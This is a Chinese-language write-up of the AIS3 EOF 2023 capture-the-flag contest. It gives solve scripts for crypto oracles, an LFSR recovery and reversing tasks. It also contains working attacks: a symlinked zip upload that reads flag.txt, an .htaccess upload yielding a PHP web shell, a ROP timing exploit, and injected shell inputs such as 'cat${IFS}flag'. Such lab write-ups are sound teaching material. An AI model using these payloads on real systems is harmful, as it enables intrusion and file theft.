AIS3 EOF 2023 Writeup === # Crypto ## ****HEX**** 題目中如果我們能正確傳送 token 即可獲得 flag,token 被使用 CBC Mode 加密,我們能傳送 IV 以及被加密的資訊去給他解密,如果 decrypt 後能成功執行 bytes.fromhex() 則會獲得 "Well Received" 反之則是 "Invalid"。根據 token 的長度我們能發現他只有一個 block,而 drcryption 就會變成先將密文使用AES decrypt 後再 xor IV。因此我們可以透過操控 IV 來影響最終 decrypt 出來的明文是什麼。假設 token 的第一個 byte 是 'c',我們將 IV 的第一個 byte xor ('c' xor chr),就可以讓解密後的明文的第一個byte是 chr。 根據產生 token 的方式我們可以發現明文一定是由小寫英文字母以及數字組成。另外 bytes.fromhex() 成功的條件是傳入的字串必須由 '0' ~ '9', 'a' ~ 'z', 'A' ~ 'Z' 組成。因此我們先預先建立一個 table,我們先嘗試所有小寫英文字母以及數字去 xor 所有 0 ~ 127 的字元,將每個人 xor 0 ~ 127 中哪些能使 bytes.fromhex() 執行成功記錄下來。發現每個人的結果都不同,因此可以使用這個表來解密。 ```python= s = [b'0', b'1', b'2', b'3', b'4', b'5', b'6', b'7', b'8', b'9', b'a', b'b', b'c', b'd', b'e', b'f'] ok = s + [b'A', b'B', b'C', b'D', b'E', b'F'] mp = {} for i in s: state = '' for j in range(0, 128): t = (j).to_bytes(1, "big") if xor(i, t) in ok: state += '1' else: state += '0' mp[state] = i; ``` 我們將一個 byte 一個 byte 來解 token。對於第 i 個 byte,將 IV 的第 i 個 byte xor 0 ~ 127 中的所有數字看哪些獲得 "Well Received",即可透過 mp 來查表知道第 i 個 byte 是什麼了。 以下附上 script: ```python= from Crypto.Cipher import AES from hashlib import sha256 import string import os from pwn import xor, remote, process s = [b'0', b'1', b'2', b'3', b'4', b'5', b'6', b'7', b'8', b'9', b'a', b'b', b'c', b'd', b'e', b'f'] ok = s + [b'A', b'B', b'C', b'D', b'E', b'F'] mp = {} for i in s: state = '' for j in range(0, 128): t = (j).to_bytes(1, "big") if xor(i, t) in ok: state += '1' else: state += '0' mp[state] = i; print(len(mp)) r = remote('eof.ais3.org', 10050) tmp = r.readline() print(tmp) iv = tmp[:32] cipher = tmp[32:-1] iv = ''.join([chr(i) for i in iv]) cipher = ''.join([chr(i) for i in cipher]) print("iv= ", iv) print("cipher= ", cipher) hint = r.readline()[7:-1] print('hint: ', hint) def non(): r.readline() r.readline() r.readline() def cha(a, i, x): return a[:i * 2] + '{0:02x}'.format(int(a[i * 2 : i * 2 + 2], 16) ^ x) + a[i * 2 + 2:] def check(i, x): tiv = cha(iv, i, x) + cipher non() r.sendline(b'1') tiv = bytes(tiv, 'ascii') r.sendline(tiv) res = r.readline() if res == b'Message(hex): Well received\n': return '1' else: return '0' flag = b'' for i in range(16): state = '' for j in range(0, 128): state += check(i, j) flag += mp[state] print("flag: ", i, state) non() r.sendline(b'2') r.sendline(flag) print(r.readline()) ``` ## ****LF3R**** 題目中使用了三個初始 state 以及 tap 都是隨機的 LFSR,並將他們搞再一起增加混淆度。但可以發現其實只是將自己的與 tap xor 完之後的 append 到其他 LFSR 身上並不會實質上讓他變成非線性的,也就是說這樣做產生出來的序列仍然會有線性關係。 使用 sage math 的 berkekamp_masset 演算法去找後300 bytes 的 Linear Recurrance,發現真的找出來的,就可回推出 flag 了。 以下附上 script: ```python= from pwn import xor from more_itertools import sliced output = [0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1] # from sage.matrix.berlekamp_massey import berlekamp_massey # berlekamp_massey([GF(2)(0), 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1]).list() # x^93 + x^86 + x^82 + x^81 + x^77 + x^76 + x^73 + x^72 + x^71 + x^70 + x^65 + x^61 + x^60 + x^58 + x^56 + x^55 + x^54 + x^53 + x^52 + x^51 + x^50 + x^45 + x^44 + x^42 + x^41 + x^40 + x^39 + x^38 + x^36 + x^32 + x^31 + x^29 + x^22 + x^21 + x^20 + x^18 + x^17 + x^15 + x^14 + x^13 + x^12 + x^9 + x^8 + x^6 + x^5 + x^4 + 1 # remove the first element in the list rec = [0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1] state = output[-300:] flag = [] for i in range(len(output) - 300): t = 0 for a, b in zip(state[:len(rec)], rec): t = t ^ (a&b) state = [t] + state flag = [t ^ output[len(output) - 300 - 1 - i]] + flag print(flag, len(flag)) flag = ''.join(list(map(str, flag))) print(flag) flag = list(sliced(flag, 8)) print(flag) flag = [chr(int(i, 2))for i in flag] print(''.join(flag)) # FLAG{i7'5_57ill_liNE4r!!!!} ``` ## ****popcnt**** 題目首先會先給我們 10 組使用不同的 (n, e) 加密 flag 後的密文以及 (n, e)。我們有一個 oracle是可以選擇使用哪組 (n, d) 來解密並會告訴我們解密後的資料的 popcount 是多少。 rsa oracle 經典的手法是將密文 $c \times k^e \mod n$ 拿去 decrypt,這樣能夠獲得明文 p 乘以 k : $c \times k^e \equiv (pk)^e \mod n$ 觀察了一下發現 flag 1024 bytes 但 popcount只有 250 bytes左右而已,第一個想法是如果拿 $c\times2^{-e}$ 去 decrypt,popcount仍然相同的話那代表明文是偶數因為只是原本的明文向右 right shift一次,若 popcount 變成 500 多則明文是奇數,因為是mod所以數字容易變化很大。也就是說我們能求出flag 的 LSB了。 更一般性的說法是,對於某個 decrypt 後的 x,我們 query $x$ 以及 $x \times 2^{-1}$ 的popcount,如果相同代表 x 的 LSB是 0,否則 x 的 LSB是 1。但因為也有可能LSB是 1 只是剛好除2之後與之前的popcount相同。因此這裡的處理方式是使用 10 組都查詢一遍,每一組都判斷 LSB是 0還是 1,最終10組中比較多的那一邊。因為根據經驗幾乎不可能 10 組都很慘,剛好 LSB 是 1 但 popcount 又都相同。 因此本題就變成了 LSB Oracle 問題,我們就可以逐 byte 解出,因為LSB Oracle是經典問題加上程式安全課程有出過作業故這邊就不贅述。 以下附上script: ```python= from Crypto.Util.number import bytes_to_long, long_to_bytes, getPrime import os from base64 import b64encode, b64decode from pwn import remote, process r = remote('eof.ais3.org', 10051) N_PEOPLE = 10 def non(): r.readline() r.readline() info = [] for _ in range(N_PEOPLE): n = r.readline() n = b64decode(n[:-1]) n = bytes_to_long(n) e = r.readline() e = b64decode(e[:-1]) e = bytes_to_long(e) enc = r.readline() enc = b64decode(enc[:-1]) enc = bytes_to_long(enc) info.append((n, e, enc)) def query(i, x): x = b64encode(long_to_bytes(x)) non() r.sendline(b'1' + b'\n' + i +b'\n'+ x) ret = r.readline() ret = ret.split()[-1] return int(''.join([chr(i) for i in ret]), 10) ind = [b'0', b'1', b'2', b'3', b'4', b'5', b'6', b'7', b'8', b'9'] pre = [0] * 10 flag = 0 def lsb(i, x): get = query(ind[i], x) getd2 = query(ind[i], x * pow(2, -e, n) % n) if get == getd2: return 0 return 1 for i in range(1024): cnt1 = 0 cnt0 = 0 for j in range(N_PEOPLE): n, e, enc = info[j] get = lsb(j, enc * pow(1 << i, -e, n) % n) if (get - pre[j]) % 2 == 0: cnt0 += 1 else: cnt1 += 1 what = 0 print(i, cnt0, cnt1) if cnt1 >= cnt0: flag += (1 << i) what = 1 for j in range(N_PEOPLE): n, _, _ = info[j] pre[j] = (pre[j] + what) * pow(2, -1, n) % n print(long_to_bytes(flag)) ``` # Web ## ****Share**** 1. 這是一個上傳 zip 的網站,其中 zip 一定要包含 index.html。 2. 先嘗試 path traversal,但發現被擋掉了 QQ 3. 猜測 SQL injection 可能無效,因為他的 source code 看起來很完美。 4. 觀察 sorce code,可以看到他是直接 unzip 到 user 的資料夾裡面。 ```python= returncode = run(['unzip', '-qo', tmppath, '-d', realpath]).returncode ``` 5. 參考[這份筆記](https://github.com/carlospolop/hacktricks/tree/master/pentesting-web/file-upload#symlink),嘗試使用 Symlink 來解。 6. 製造出一個可以一路會去 flag 在的地方的 symlink。然後將之壓縮上傳 ```bash= ln -s ../../../flag.txt symindex.html zip --symlinks test.zip symindex.html index.html ``` 7. 再到 https://share.ctf.zoolab.org/static/Username/symindex.html 就可以看到 flag 了。 ## ****Gist**** 1. 根據 sorce code,發現這個檔案上傳系統會把檔案名稱和內容有 `ph` 的都擋掉。 2. 從[這份筆記](https://github.com/carlospolop/hacktricks/tree/master/pentesting-web/file-upload#symlink)看到可以嘗試的檔案類型還有 .htaccess。 3. 再從[這份 writeup](https://www.hackvuln.com/2021/02/abusing-htaccess-cgi-to-get-rce-in.html) 學到可以在 .htaccess 裡面寫 ``` SetHandler server-status ``` 4. 上傳後就可以從上傳的連結下面看到最近對 Apache 的 request。 ![](https://i.imgur.com/6iKumE4.png) 5. 可以看到其他隊的 `.htaccess` web shell,直接拿來用。 ![](https://i.imgur.com/FxjmD8r.png) ![](https://i.imgur.com/CRV09dp.png) 6. 根據別隊的 payload,可以得知此題的解法是上傳 `.htaccess` 來設定將 `.htaccess` 檔名後綴的檔案視為用 php 執行,然後同時寫 php web shell 在裡面,即可取得 web shell。 --- # Reverse ## ****mumumu**** 1. 從 `flag_enc` 提供的資訊可知 flag 長度為 54。 2. `main` 能看出從 `flag` 讀字串,和 `NOTFLAG` 做一些事情,最後存到 `flag_enc`。 ![](https://i.imgur.com/T8ydyCB.png) 3. 試著執行 `mumumu`,`flag` 內寫 `FLAG{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}`,出來結果為 `AAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAFAA}AAAAAAAAAAAL{AAAA`,能看出 `mumumu` 只有做換位,再與 `flag_enc` 比較發現 `FLAG{}` 換的位置相同。 4. 既然換位相同,就可以將 `flag` 設定成 54 個不一樣的字元,以此得知 `flag_enc` 的位置順序。 ```python s = 'wxyz{ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijkl}' es = 'g4VjizTQ3k2dH1hGLPMc5ZRSWX6KlbFIawJy}OeU0CBAYDfEx{789N' enc = '6ct69GHt_A00utACToohy_0u0rb_9c5byF3A}G515buR11_kL{3rp_' flag = '' for i in range(54): for j in range(54): if s[i] == es[j]: flag += enc[j] break print(flag) # FLAG{Rub1k5Cub3_To_Got0uH1t0r1_t0_cyb3rp5ych05_6A96A9} ``` ## ****Nekomatsuri**** 1. `main` 會先讀入 user input 到 `input`,依 `argc` 大小有兩種不同的操作。 ![](https://i.imgur.com/5XFAn3b.png) 2. `argc <= 2` 時,會先透過 `dec_strings` 還原 strings 並取得 Win API name,如:`CreateThread`、`ReadFile`、`WriteFile` 等。 ![](https://i.imgur.com/yI5Yb6z.png) 3. 然後用 `CreateThread` 建立一個 child thread,child thread 會建立二個 pipe 和一支 process,並將新 process 的 input 接到 parent thread,將 output 接到 child thread。 此 process 執行的 command 為 `./nekomatsuri.exe Ch1y0d4m0m0 <input>`。 ![](https://i.imgur.com/159ijr6.png) 4. 最後 parent thread 將 `WinExec` 字串透過 pipe 傳給新 process,然後 wait object 結束。 5. 新 process 本身會去執行 `argc > 2` 時的部分,並且收到參數如下 - `argv[1] == Ch1y0d4m0m0` - `argv[2] == <來自 child thread 的 user input>` - `input == WinExec` (來自 parent thread) 6. 最後會將 `argv[2]`、`argv[1]`、index 做 xor,然後與 `WinExec` 字串經過兩次 `dec_str` 的結果做比較,若相同則表示 user input 為 flag。 ![](https://i.imgur.com/ATvvcY7.png) 7. 了解程式運作後,將 `WinExec` 字串經過兩次 `dec_str` 的結果、index 和 `Ch1y0d4m0m0` 做 xor,即可還原 flag。 ```python key = b'Ch1y0d4m0m0' enc = (0x0525723d4f2f5701573b54213b51024d15421e51187a271a760943114311472d24507c263c772722262c7f7f0e777c37616d316f62693646353c203f396c363c50).to_bytes(65, 'big') flag = '' for i in range(len(enc)): flag += chr(enc[i] ^ key[i%len(key)] ^ i) print(flag) # FLAG{Neko_ni_muragara_re_iinkai_4264abe1c58da2caa871f102e4c4aee3} ``` ## ****Knock**** 1. 從同時執行兩個 `knock.exe` 的 error 可以看出其應該會 listen 在某個 port 上,且有幾個關鍵 function `Secret0`, `Secret2`。 ![](https://i.imgur.com/PZYz9AL.png) 2. dnSpy 看不到 code,但 https://github.com/icsharpcode/ILSpy 可以。 3. `Main` 呼叫 `Secret0`,`Secret0` 呼叫 `Secret1`、`Secret2`。 ![](https://i.imgur.com/wOgIPud.png) 4. `Secret1` 檢查是否可以連到網路。 ![](https://i.imgur.com/aWmKO3a.png) 5. `Secret2` 建立 UDP client,持續從 port `37543` receive 資料,並傳入 `Secret3`。 ![](https://i.imgur.com/2b56NDJ.png) 6. `Secret3` 依序比較 `obj = {傳入 byte, 109, 100, 53, index}` 的 md5 hash 是否與給定的值相同,若全部相同則呼叫 `Secret4`。 此處可以算出對應的 bytes 為 `Let me have a try`。 ```python from hashlib import md5 from string import ascii_letters hash3 = [x.to_bytes(16, 'big') for x in [0x59565143f3dce228f15319b3c437f19a, 0x8ce1fe6eb0b631ff6744bf969ac32635, 0xf 7826b7cabf55fd755d59538f0f0deee, 0x035e655b47864149c7e4f6eea56c0bb6, 0x7e840ba5aa72459d0f85d090d23c3d59, 0x8b9f42ea2 3188630142f89a88d2d8f0e, 0x7ba78773ff7eda6ebc6ddd456b24cb3c, 0x3ec3dd4b617f8bfc7b9e34e9ee126efa, 0xecc3b83a77a85b599 95c7099cb7a8df9, 0x22d6d7fc8a43f40634d3576485d81e72, 0xbc17821ef5b551f61e95b801254d97ce, 0xde33f8e6a447dfda232ba3b9f 6fcb3a8, 0x540ad17732dd880c25460796ac9bcf20, 0x134b66053d213b5640d36dd433a9c171, 0xdc325b0c3d4f6d30a487a2d1cdeea1c4, 0x291d3f37baba37d5bb54fc78a2f789ce, 0xbbcf469759ea7c38927a896d604f7886]] data = [] for i in range(len(hash3)): arr = [0, 109, 100, 53, 0] arr[4] = i for b in range(0x100): arr[0] = b h = md5(bytes(arr)).digest() if h == hash3[i]: data +=[b] print(data) print(''.join(map(chr, data))) # Let me have a try ``` ![](https://i.imgur.com/9xf5jTi.png) 7. `Secret4` 功能與 `Secret2` 相似,只是 port 的不同,以及傳入 data 的 function 為 `Secret5`。 ![](https://i.imgur.com/eRybWym.png) 8. `Secret5` 功能與 `Secret3` 相同,只是比較的 hash 不一樣。將 hash 對應的 bytes 還原回來即為 flag。 ![](https://i.imgur.com/hdPVeh8.png) ```python hash5 = [x.to_bytes(16, 'big') for x in [0xf8c1ceb2b36371166efc805824b59252, 0xec0f4a549025dfdc98bda08d25593311, 0x3261390a0dfd09dc16c3987eba10eb53, 0x66d986ecb8b4d61c648cebdcc2a5ccb2, 0xfbd5870d0c8964d2c9575a1e55fb7be9, 0xc0992476cbd06f4f9bb7439ecee81022, 0xdebf803f8b64d47bcdcb8e6fc1854fd3, 0x3fa81b15cf1210e01155396b648bbe2f, 0x05880def669376ef5070966617ccdeea, 0x0c635429f6905f04790ecc942b1bcf86, 0xf70ce87784d549677b28dd0932766833, 0x790b40de039d3f13dea0e51818e08319, 0x4a5a99441aa7a885192a0530a407ade0, 0x0058628c972c658654471b36178f163f, 0x71f9eaf557aaa691984723bf7536b953, 0x30cbf3c9e5a0e91168f57f1a5af0b6dc, 0xd9ccfeb048086c336b1d965aee4a6c3d, 0xcfd0e95c62ddca1bfd1a902761df59f9, 0x9798150652e2bd5a24dfbfe5e678be9e, 0xeb275c9f4a7b3e799dabc6fa56305a13, 0xe7a559cf6b0acbf36087f76a027d55ba, 0xfe12380219f2285e48928bcb3658550a, 0xc6b3fb1f238c3a599fcbabb4127ee6b5, 0x4d15d083b996e4fd0865c79697fb10cd, 0x4008c526e86cde781976813b1bc3da38, 0xb0429dde1bbb1372f98a0d1f4c32fa3f, 0x2447ed4c7337c2c82d2a7bb63f49ec05, 0x90b247e82e0a0e30c9caf4402840c860, 0xe17cadf8ee52aa84dfc47d0203d38710, 0xbf8f4b12d3135fb4af7a1ac72509c9dc, 0xf2ee0d18cf0694678d32797774128ddd, 0xc6c24338269e7aeab5161fb191e475c2, 0x23c6afffd93216e493fec87ee9315b86, 0x0b93d09e1cdaed8d8e0de39531de182a, 0x1657d03d5b217d1d237db25d8a4d5489, 0x3498f0744f6059fb2bf7c778d085c909, 0xac38e3f1e8d93a6a8c417165a59bce67, 0xe1b0e8bb077ef11bdee3cc67ddf9cd7b, 0x4732293cca5121ab05dd5e254d22acee, 0xfad3b901ba4258ad9fd71a7302df8148, 0x1e02fd1f2f4f22f42fb71a8230c3fa35, 0x75fcc6674ca64f120eaf3aa911870fc9, 0xae8612af96882cb771f1a4d8fdb41fc3, 0x96bba5d198bfa190c2773516badc221d, 0x47728b786cbeb69d2c7292925f06aaf1, 0x3f9031bff26fb95509b8cd353bd0a131, 0x010863115678f4d19f1d4ac2b2db9697, 0xe944d1b87ad28a9f7c6cf90680483556, 0x466d818aafd0cdfc0a9ab3b41a02f5d9, 0xaf0a281c8b0ccb7cb43b4b0345a3bb49, 0xfcb4cb5a6d51bba742fd9d4d73a3449f, 0x74dfb0110dbb3da8e23bf5fb40af078c, 0xeb70b854739c9b6cb35f8b2cf77ed64a, 0xffe3b6cfa20bb97c909838f7351e4394, 0xb85ced8f3f11edbd781ee6b0d79fd7b4, 0xc10b6289b3fd56c1d17ba758960d1c20, 0x36986e79b356328a1bc32756416bb744, 0xe2476b0618c7e20c8246f3e274abca03, 0x9793fd49590b40952f928e7c431d43a9, 0xc5d774c5e69aea3707e5552b61c85bb2, 0x672e62fd225560292abdf292caf05a02, 0x6615c852430df05c405d1df7723e944f, 0x80fb5e9390b54dd8ef51d7c9a86bde14, 0xc05cec12c67e0c3f1cdb7ae7363008c4, 0x59e4e7efc94b52ce3ba792cbd7aaabd4]] data = [] for i in range(len(hash5)): arr = [0, 109, 100, 53, 0] arr[4] = i for b in range(0x100): arr[0] = b h = md5(bytes(arr)).digest() if h == hash5[i]: data +=[b] print(data) print(''.join(map(chr, data))) # FLAG{open_this_dotNET_DOOOOOOOR_d002fb352e391c46ee14b181097985af} ``` ## ****Donut**** 1. `donut_eater.exe` 會將 `argv[1]` 的檔案用 `some_kind_of_open_file` 開啟並初始化一些 stream 相關的結構,然後用 `tellg` 取得檔案大小,再將 `argv[1]` 的檔案讀到 `code` 裡。接下來用 `VirtualAlloc` 將 `code` 的 memory region 設定為可讀、寫、執行,最後 call `code` 的開頭。 因為題目還有給另一個檔案 `donut`,因此 `argv[1]` 自然是 `./donut`。 ![](https://i.imgur.com/SENZyq5.png) 2. 用 debugger 跑起來之後,可以看到後續會 load `mscoree.dll`, `clr.dll`, `clrjit.dll` 等,因此可以推測是用 Windows 系統本身的機制去執行 .NET,而此方法需要 PE 格式,故推測 `donut` 應是某種包裝過的 PE 檔,且程式應會在某個時候將其反解回 PE ,並放到 memory 上。 3. 用 `x64dbg` 追進 `code` ,短暫跳轉幾次之後,會進到一段看起來比較像是正常 function 的地方,其中會用 `get_WinAPI` 取得 `VirtualAlloc`、`VirtualFree`、`RtlExitUserProcess` 等 API 的位址。 ![](https://i.imgur.com/LmO9mdT.png) 4. 再往下會看到其用 `VirtualAlloc` allocate 一段可讀寫的區段,參數給的大小為 `0x3180`。 ![](https://i.imgur.com/CjhUYMR.png) 5. 後面有另一個 function `copy_something_to_alloc_region` 將 0x3180 bytes 寫入前面 allocate 的空間。可以觀察到 copy 進去的 data 最前面是 `0x00003180`,而整個 data 剛好是 0x3180 bytes,因此應該是某種結構,但此時整段 data 還看不出任何意義。 ![](https://i.imgur.com/gIMhhj1.png) ![](https://i.imgur.com/F8iixYD.png) 6. 接下來的另一個 function `dec_region` 會將前面的 data 整段做 decode 或 decrypt 之類的操作,然後便能在 data 中看到 `MZ` 和 `This program cannot be run is DOS mode.` 等標準 PE 內容。 ![](https://i.imgur.com/PhsyCaR.png) 7. 將前述 PE 從 memory 中 dump 出來,其確實為 .NET executable,再丟入 dnSpy 做分析。 8. 題目會先檢查輸入的字串是否為 `1000` ~ `10000` 之間,然後將此字串做 UTF-8 encode 後算 md5 hash,再將 hash 跟 `array2` 做 xor。 ![](https://i.imgur.com/rohWJRO.png) 8. 根據上述題目,可以直接爆出 flag。 ```python= from hashlib import md5 a2 = bytes([49, 8, 83, 209, 4, 77, 130, 36, 139, 44, 248, 52, 172, 0, 207, 23, 17, 27, 97, 254, 30, 116, 143, 28]) for i in range(1000, 10001): s = str(i).encode('utf-8') a1 = md5(s).digest() a3 = b'' for j in range(len(a2)): a3 += bytes([a2[j] ^ a1[j % len(a1)]]) if b'FLAG' in a3.upper(): print(a3.decode()) # FLAG{ThE_doNut_of_shame} ``` --- # Pwn ## ****how2know_revenge**** 1. 題目與作業 `how2know` 相同,只是這次要用 ROP。 ![](https://i.imgur.com/H8BvXr7.png) 2. 先將 `flag` 讀到 `rax`,然後將要嘗試的 byte 放到 `dl`,然後比較兩者是否相同,並依此設定 `rax` 的值。檢查 `rax`, - 若不相同則跳到 `0x45c850` 讓其 crash,程式便會馬上結束 - 若相同則跳到 `0x403a8d`,此位址為 `jmp $-2`,程式便會進入無限迴圈而不停止。(參考[进阶ROP及libc: Repeat-code](https://darkwing.moe/2019/05/09/%E8%BF%9B%E9%98%B6ROP%E5%8F%8Alibc/#Repeat-code)) 3. 最後根據 `p.recv(timeout=1)` 的等待時間,若等待超過 `1.0` 秒,便是猜到 flag 的該 byte。以此便能 leak 出 flag。 ```python= main_adr = p64(0x401d2c) flag_adr = p64(0x00000000004de2e0) pop_rax = p64(0x0000000000458237) # pop rax ; ret pop_rdx = p64(0x000000000040171f) # pop rdx ; ret add_rax_1 = p64(0x000000000047fc10) # add rax, 1 ; ret cmp_prax_dl = p64(0x0000000000438c36) # cmp byte ptr [rax], dl ; ret sete_al = p64(0x0000000000407556) # sete al ; ret test_rax_die = p64(0x000000000045c84a) # test eax, eax ; je 0x45c850 ; ret jmp_minus_2 = p64(0x0000000000403a8d) # jmp $-2 flag = b'' for i in range(0x40): for c in b'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}': payload = b'' payload += b'A'*40 payload += pop_rax payload += flag_adr payload += add_rax_1 * i payload += pop_rdx payload += p64(c) payload += cmp_prax_dl payload += pop_rax payload += p64(0) payload += sete_al payload += test_rax_die payload += jmp_minus_2 p = remote('edu-ctf.zoolab.org', 10012, level='error') t0 = perf_counter() p.recv() p.send(payload) try: p.recv(timeout=1) except: pass t = perf_counter() - t0 p.close() if t >= 1.0: flag += bytes([c]) print(flag, t) # FLAG{CORORO_f8b7d5d23ad03512d6687384b7a2a500} ``` --- # Misc ## ****Washer**** 可以發現執行 Magic 選擇創建出來的 `/tmp/0AJE1z`,可以把他當 script 來執行(儘管 posix spawn 好像不允許這件事情),因此就 Write Note `cat${IFS}flag` 並執行他即可,使用 ${IFS} 是因為要避免因為 %s 遇到空白字元就停止輸入。 ![](https://i.imgur.com/03VzhVo.png =50%x) ## ****Execgen**** 1. 可以輸入任意字串,題目會將字串經過處理,在結尾加上 `(created by execgen)`,之後再將字串開頭加上 `#!` 存到 tmpfile,最後會執行 tmpfile 並印出。 2. shebang 選擇使用 `#!/bin/awk` 這樣在結尾可以使用 `#` 註解掉 `(created by execgen)`。 3. `/bin/awk BEGIN { file="/home/chal/flag"; while ((getline < file) > 0) {print} } #`,這樣 `awk` 會讀 `flag` 並印出內容。 `FLAG{t0o0oo_m4ny_w4ys_t0_g37_fl4g}` # Revenge ## ShaRcE 這題沒有解出來 Q,還是寫一下嘗試了什麼。 1. 根據 Share 的判斷,SQL injection 和 user name 的用處應該不大。這次的目標是要拿到 shell,用 readflag 來讀 root 的 flag。 2. 判斷還是要對那個 zip 作操作。 3. 嘗試了 Zip Slip 想要用檔名的 routing 來偷偷作點啥,但是 unzip 的 command 會把他擋掉,跳出下面的訊息。 ``` warning: skipped "../" path component(s) in ../../foo ``` 4. 試著不要用手產,用別人寫好的 [evilarc](https://github.com/ptoomey3/evilarc) 和 [slipit](https://github.com/usdAG/slipit) 來產,但是沒用... Slipit 可以讓他解壓出檔名真的是 '../../foo' 之類 file 但是我沒有想到這樣有什麼用。 5. 之後就卡住了... ## ****Execgen-safe**** 題目多了 `regex` 限制輸入的字串只能有英文字母、數字、空格及 `/`。有試過幾種方法,但都沒成功。 1. `awk/sed` 不能用特殊符號這兩個好像不能用。 2. 試著閉合看看 `regex`,像是 `]]` `'` `"` `;` 或是用 `awk + #`,都不行。 3. 有想過用 `cp` `mv` `touch` `cat` 之類的來操作,但 `(created by execgen)` 解決不了。